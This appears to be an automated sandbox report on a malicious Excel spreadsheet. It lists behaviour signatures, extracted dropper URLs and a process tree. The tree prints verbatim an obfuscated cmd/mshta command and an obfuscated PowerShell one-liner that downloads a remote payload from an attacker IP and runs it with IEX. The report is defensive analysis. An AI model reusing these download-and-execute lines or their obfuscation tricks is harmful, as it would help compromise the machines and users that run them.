Analysis
- max time kernel
4265050s - max time network
125s - platform
windows10-2004_x64 - resource
win10v2004-en-20220113 - submitted
17/01/2022, 22:55
General
- Target 9fc640545dec191790137f95387ab640.xls
- Size 128KB
- Sample220117-2v44yaeabr
- SHA256 01476eaa4b0f7bdde2a764be2f017d11e0a9743bdf0447c63288607ef7437ac1
Malware Config
Extracted
-
hta
-
hta.dropper
http://0xb907d607/cc.html
Extracted
-
ps1
-
ps1.dropper
http://185.7.214.7/PP91.PNG
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\9fc640545dec191790137f95387ab640.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exemshta http://0xb907d607/cc.html3⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
-
-
-
-
C:\Windows\system32\MusNotification.exeC:\Windows\system32\MusNotification.exe1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 408 -p 2340 -ip 23401⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2340-151-0x000001CE2E868000-0x000001CE2E870000-memory.dmp
memory/3536-161-0x0000027AC83E0000-0x0000027AC83E2000-memory.dmp
memory/3536-160-0x0000027AC83E0000-0x0000027AC83E2000-memory.dmp
memory/3536-159-0x0000027AC83E0000-0x0000027AC83E2000-memory.dmp
memory/3764-146-0x0000022277BE0000-0x0000022277BE2000-memory.dmp
memory/3764-135-0x0000022277BE0000-0x0000022277BE2000-memory.dmp
memory/3764-139-0x0000022277BE0000-0x0000022277BE2000-memory.dmp
memory/3764-140-0x0000022277BE0000-0x0000022277BE2000-memory.dmp
memory/3764-141-0x0000022277BE0000-0x0000022277BE2000-memory.dmp
memory/3764-142-0x0000022277BE0000-0x0000022277BE2000-memory.dmp
memory/3764-143-0x0000022277BE0000-0x0000022277BE2000-memory.dmp
memory/3764-144-0x0000022277BE0000-0x0000022277BE2000-memory.dmp
memory/3764-145-0x0000022277BE0000-0x0000022277BE2000-memory.dmp
memory/3764-130-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp
memory/3764-147-0x0000022277BE0000-0x0000022277BE2000-memory.dmp
memory/3764-148-0x0000022277BE0000-0x0000022277BE2000-memory.dmp
memory/3764-137-0x0000022277BE0000-0x0000022277BE2000-memory.dmp
memory/3764-138-0x0000022277BE0000-0x0000022277BE2000-memory.dmp
memory/3764-136-0x0000022277BE0000-0x0000022277BE2000-memory.dmp
memory/3764-152-0x0000022277BE0000-0x0000022277BE2000-memory.dmp
memory/3764-154-0x0000022277BE0000-0x0000022277BE2000-memory.dmp
memory/3764-153-0x0000022277BE0000-0x0000022277BE2000-memory.dmp
memory/3764-155-0x0000022277BE0000-0x0000022277BE2000-memory.dmp
memory/3764-156-0x0000022277BE0000-0x0000022277BE2000-memory.dmp
memory/3764-157-0x0000022277BE0000-0x0000022277BE4000-memory.dmp
memory/3764-134-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp
memory/3764-133-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp
memory/3764-132-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp
memory/3764-131-0x00007FF803FB0000-0x00007FF803FC0000-memory.dmp